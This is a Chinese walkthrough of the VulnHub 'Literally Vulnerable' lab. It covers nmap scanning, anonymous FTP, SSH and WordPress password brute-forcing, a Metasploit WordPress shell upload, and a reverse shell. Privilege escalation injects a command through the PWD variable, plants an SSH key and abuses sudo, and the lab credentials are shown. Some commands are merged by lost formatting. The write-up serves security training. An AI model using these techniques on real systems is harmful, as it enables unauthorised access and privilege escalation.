• 7.literally


    literally

    一个不错的练手靶机

    https://www.vulnhub.com/entry/ua-literally-vulnerable,407/

    靶机 : literally

    渗透机 : kali + win10

    补充 : 如果靶机自带的是nat网络 , 如果需要更改 , 别忘记啦 , 我忘记是什么啦

    目标: 拿到(local.txt, user.txt & root.txt)

    0x01. 信息收集

    1. 确定靶机ip

    扫描当前网段ip

    image-20210703094302086

    靶机 192.168.0.114 kali 1982.168.0.115

    2. 全端口扫描

    nmap -sS -Pn -A -p 0-65535 -n 192.168.0.114
    推荐大家以后打靶机和渗透都用nmap的这种详细扫描 , 能提供很多的思路
    

    image-20210703104401777

    开放了21 , 22 , 80 , 65535端口 , 接下来就是逐个端口的测试 , 其中21端口可以匿名登录 , anonymous

    0x02. 漏洞发现

    1. 端口测试

    使用kali自带的ftp连接

    ftp 192.168.0.114
    

    image-20210703105843260

    发现存在一个备份的密码文件, 是关于Doe用户的 , 下载下来 , 以便后面的爆破备用

    image-20210703110050003

    接下来我们把这个做成密码文件 , 尝试对22端口爆破

    hydra -l Doe -P ./backupPasswords -vV -f 192.168.0.114 ssh 
    

    image-20210703112428596

    发现爆破无结果

    2. web打点

    由于爆破无结果 , 那么访问80端口 , 尝试从web进去

    http://192.168.0.114/
    

    image-20210703094611548

    发现是wordpress搭建的 , mysql数据库 , 乌班图系统 , php语言

    随手点了点可以跳转的页面发现

    image-20210703110712746

    可能需要绑定域名 ( 一般靶机就喜欢搞这个 ) , 进入我们的host文件追加

    image-20210703110940115

    保存 , 退出 , 再次访问

    http://literally.vulnerable/?author=1
    

    image-20210703110956453

    既然是wordpress 再加上我们之前收集到了密码文件 , 直接上wpscan扫描一下用户

    wpscan --url http://192.168.0.114/ -e
    

    image-20210703094948356

    结果就是只扫出来了一个admin用户 , 尝试一下用刚才收集的密码爆破

    wpscan --url http://192.168.0.114/ -U user.txt -P backupPasswords 
    

    image-20210703111408747

    尴尬 , 依然是莫有爆破出来 , 接下来扫一下目录和备份文件说不定会有一些奇妙的收获呢 , 对于这种国外的靶机 , 一般我推荐dirb 的 big.txt 扫描 , 当然你也可以用dirsearch , 个人常用的一款

    扫描后仍然是一无所获 , gg

    还有个65535端口 , 没有测试 , 我一看这个端口就知道不简单 , 估计是个突破口

    那么访问一下吧 , 嘿嘿

    http://192.168.0.114:65535
    

    image-20210703112713136

    好家伙 , 是一个apache2的默认页面 , 那就先扫一下目录看看吧 , 依旧推荐dirb扫描 , 最好就是dirsearch两个配合起来 , 很有可能别人拿下了一个站点 , 你没拿下 , 就是他运气好 , 扫描到了一个你没有扫到的目录

    dirsearch扫描的没啥有用的 , 但是dirb的大字典就不一样了 , 嘿嘿dirb http://192.168.0.114:65535/ /usr/share/wordlists/dirb/big.txt 
    

    image-20210703113346649

    好家伙 , 我就知道这个端口下面没有那些简单 , 又是一个wordpress

    image-20210703113059109

    页面信息 : 一个用户notadmin , 需要输入密码连接

    当然还是要枚举一下用户的

    wpscan --url http://192.168.0.114:65535/phpcms/ -e不要忘记在kali中也要修改host文件哈
    

    image-20210703115932421

    获取到两个用户 , 那么先用wpscan爆破一下密码

    maybeadminnotadmin
    
    wpscan --url http://192.168.0.114:65335/phpcms/ -U user.txt -P backupPasswords 
    

    image-20210703120246617

    好家伙 , 难道maybeadmin就是Doe那个人???? , 不管了 , 先登录

    maybeadmin / $EPid%J2L9LufO5
    

    image-20210703120418222

    在post的一个页面 , 随手一点 , 发现了notadmin的密码

    image-20210703120627891

    image-20210703120613655

    切换账号 , 使用notadmin登录

    notadmin:Pa$$w0rd13!&
    

    果然notadmin是一个管理员用户

    image-20210703120844144

    0x03. 反弹shell

    1. getshell

    WordPress在管理员权限下常见的有两种reverse shell的方式:
    第一种:编辑Themes中的php页面,将reverse shell的代码添加进去,然后kali监听端口、访问php页面;(也可以利用PHP一句话,使用蚁剑连接,再反弹shell,得到shell)

    image-20210703121253840

    第二种:直接用MSF中exploit/unix/webapp/wp_admin_shell_upload模块,show options查看各种需要set的配置,利用得到的notadmin用户和密码,获取shell。

    这里我用第二种msf

    msfconsole
    

    image-20210703121818157

    设置选项

    msf6 exploit(unix/webapp/wp_admin_shell_upload) > set password Pa$$w0rd13!&password => Pa$$w0rd13!&msf6 exploit(unix/webapp/wp_admin_shell_upload) > set rhosts 192.168.0.114rhosts => 192.168.0.114msf6 exploit(unix/webapp/wp_admin_shell_upload) > set rport 65535rport => 65535msf6 exploit(unix/webapp/wp_admin_shell_upload) > set targeturi /phpcmstargeturi => /phpcmsmsf6 exploit(unix/webapp/wp_admin_shell_upload) > set username notadminusername => notadminmsf6 exploit(unix/webapp/wp_admin_shell_upload) > run
    

    image-20210703122019990

    接收到反弹连接 , 然后进入shell , 再进入交互式shell

    shellpython3 -c 'import pty;pty.spawn("/bin/bash")'
    

    image-20210703122234834

    发现靶机上默认找不到python , 尝试用python3解决 , 一般这类靶机喜欢在家目录下做文章 , 所以进入家目录看看

    www-data@literallyvulnerable:/home$ lslsdoe  john好家伙 , 终于看到doe用户了 , 既然来了 , 那就进去看看有什么吧
    

    image-20210703122824217

    在/home下发现doe、john两个用户,各种胡乱fuzz,发现有执行和读取的文件少之又少,可见必须先提权才行。发现一个可执行已经编译的itseasy文件,而且是任意用户可以执行的,这里执行了一下这个可执行文件,得到的结果是:Your Path is: /home/doe。由于当前所在路径就是/home/doe,所以猜测这个可执行文件是调用了pwd命令,可以通过PATH环境变量进行提权。

    image-20210703125420264

    但此处利用PATH好像没有用,这里可能调用的是PWD环境变量,修改PWD环境变量发现成功得到john用户的shell。

    export PWD=\$\(/bin/bash\)        \是对特殊字符转义./itseasy
    

    image-20210703125901481

    但这个时候可以执行命令但是并无回显任何东西,既然我们有一个较高权限的shell,这里干脆使用SSH进行接。

    补充linux环境变量(PWD是环境变量,而pwd对应的是可执行文件/usr/bin/pwd。如果这里调用的是pwd,那么我们可以通过PATH环境变量提权,而这里调用的是PWD环境变量,所以我们只能通过修改PWD的值进行提权)PWD 和 OLDPWD        PWD 记录当前的目录路径,当利用 cd 命令切换当前目录时,系统自动更新 PWD 的值, OLDPWD 记录旧的工作目录,即用户所处的前一个目录。 (2)    PATH        PATH 是 Linux 中一个极为重要的环境变量,它用于帮助 Shell 找到用户输入的命令。用户所输入的每个命令实际上是一个源代码文件,计算机执行这个文件里的代码以实现这个命令的功能,这些源代码文件称为可执行文件。可执行文件存在于各种各样的目录下, PATH 就记录了一系列的目录列表, Shell 为每个输入命令搜索 PATH 中的目录列表。 (3)    HOME   HOME 记录当前用户的目录,由 /etc/passwd 的倒数第 2 个域决定, HOME 目录用于保存用户自己的文件。
    

    2. 写入ssh公钥

    第一步在kali上生成无密码的私钥和公钥

    cd /root/.sshssh-keygen -t rsa                              (-t,表示使用rsa加密)
    

    可以看到生成了id_rsa(私钥)、id_rsa.pub(公钥)

    image-20210703133816571

    第二步在靶机上新建.ssh文件夹 , 并写生成的公钥

    mkdir -p /home/john/.sshecho “公钥” > /home/john/.ssh/authorized_keys
    

    image-20210703133919355

    接下来就是ssh直接连接啦

    ssh john@192.168.0.114
    

    image-20210703134005544

    拿到第一个flag

    image-20210703134458327

    发现家目录下有一个.local的隐藏文件夹 , 进去看看

    image-20210703134641912

    一段操作发现了其中的隐藏密码 , 还是base64编码的 , 尝试解码

    john@literallyvulnerable:~/.local/share/tmpFiles$ echo "am9objpZWlckczhZNDlJQiNaWko=" | base64 -djohn:YZW$s8Y49IB#ZZJjohn@literallyvulnerable:~/.local/share/tmpFiles$ 
    

    账密备用

    john:YZW$s8Y49IB#ZZJ
    

    0x04. 提权

    1. sodu提权

    输入john的密码 , 发现 john用户不需要输入root密码就可以执行 /var/www/html/test.html 这个文件

    image-20210703135123806

    ok , 就把/bin/bash写进去吧

    echo "/bin/bash" > /var/www/html/test.html
    

    尴尬的是没有权限

    image-20210703135400455

    既然是网站下的文件 , 我们用之前的www-data那个用户写入试试

    echo "/bin/bash" > /var/www/html/test.htmlchmod 777 test.html
    

    然后切换到john用户 sudo执行

    sudo ./test.htmlwhoamicd ~lscat user.txtcat /home/doe/local.txt
    

    至此三个flag都已获得

    0x05. 总结

    本次靶机复现过程中,首先ftp服务器的匿名登陆,得到后台用户密码;

    80页面的信息收集,以及配置hosts文件让页面正常回显很有意义;

    在65535页面中,wpscan的枚举用户名发挥了重大作用,然后后续中使用msf反弹shell,得到低权限用户;

    提权过程中,使用PWD环境变量提权,提升为john用户,SSH密钥登录,以及对ssh安全外壳协议的学习是本次的收获;

    还需要理解的地方就是sudo -l 和 写ssh公钥

  • 相关阅读:
    Create方法失效而没有提示错误信息
    JS弹出窗口控制
    本周活动
    JavaScript的初步了解
    关于PHP接收文件的资料
    mvc模式改进网站结构
    一周动态
    排序
    Java的内存泄漏
    Android笔记
  • 原文地址:https://www.cnblogs.com/xcymn/p/15712502.html
Copyright © 2020-2023  润新知